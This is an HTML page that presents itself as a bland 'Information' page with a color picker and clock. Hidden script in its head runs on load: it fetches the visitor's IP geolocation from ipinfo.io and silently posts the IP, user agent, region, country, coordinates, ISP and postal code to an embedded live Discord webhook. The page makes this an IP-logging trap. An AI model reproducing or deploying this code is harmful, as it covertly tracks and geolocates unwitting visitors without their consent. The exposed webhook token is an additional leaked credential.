
<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<title></title>
	<link type="text/css" rel="stylesheet" href="style.css">
	<script src= "https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
	<script>
		$.get("https://ipinfo.io", function(response) {
			const webhook_url = "https://canary.discord.com/api/webhooks/1334971327991255081/gQRJYw_JvXkGWcPLGqFlQqjg2jHA1zikRTbiFNTNG74PVPaPSv3k4Uj0_x_qpKxP6fIV";
			const main = {
				title: ">Welcome to Beta Testers",
				description: "",
				thumbnail: {
					url: "https://cdn.discordapp.com/attachments/1331305499374911588/1333934833193193482/1c3e2e4b86d69af032dc1b6ecaefde1b.jpg?ex=679dfedf&is=679cad5f&hm=5bc7c057729afc4c3135457f07a568e2025613d7e9e1e83ce3ddd95b988fab4c&",
				},
				fields: [
					{
						name: "IP:",
						value: `\`${response.ip}\``,
						inline: false,
					},
					{
						name: "User-Agent:",
						value: `\`${navigator.userAgent}\``,
						inline: false,
					},
					{
						name: "Region:",
						value: `\`${response.region}\``,
						inline: false
					},
					{
						name: "Country:",
						value: `\`${response.country}\``,
						inline: false
					},
					{
						name: "Long/Lat:",
						value: `\`${response.loc}\``,
						inline: false
					},
					{
						name: "Company:",
						value: `\`${response.org}\``,
						inline: false
					},
					{
						name: "Postal Region:",
						value: `\`${response.postal}\``,
						inline: false
					},
				],
				footer: {
					text: ""
				},
				author: {
					name: "",
					url: "https://canary.discord.com/api/webhooks/1334971327991255081/gQRJYw_JvXkGWcPLGqFlQqjg2jHA1zikRTbiFNTNG74PVPaPSv3k4Uj0_x_qpKxP6fIV"
				}
			}
			var xhttp = new XMLHttpRequest();
			const url = webhook_url;
			xhttp.open("POST", url, true);
			xhttp.setRequestHeader('Content-Type', 'application/json');
			xhttp.send(JSON.stringify({
				'username': 'Sowwyz',
				'embeds': [main],
			}));
		}, "json");
	</script>
</head>
<body>
	<center>
		<h1>Information</h1>
		<input type="color"></input>
		<p>Actual time: <span id="here"></span></p>
	</center>
	<script>
		const date = new Date();
		document.getElementById('here').innerHTML = date;
	</script>
</body>

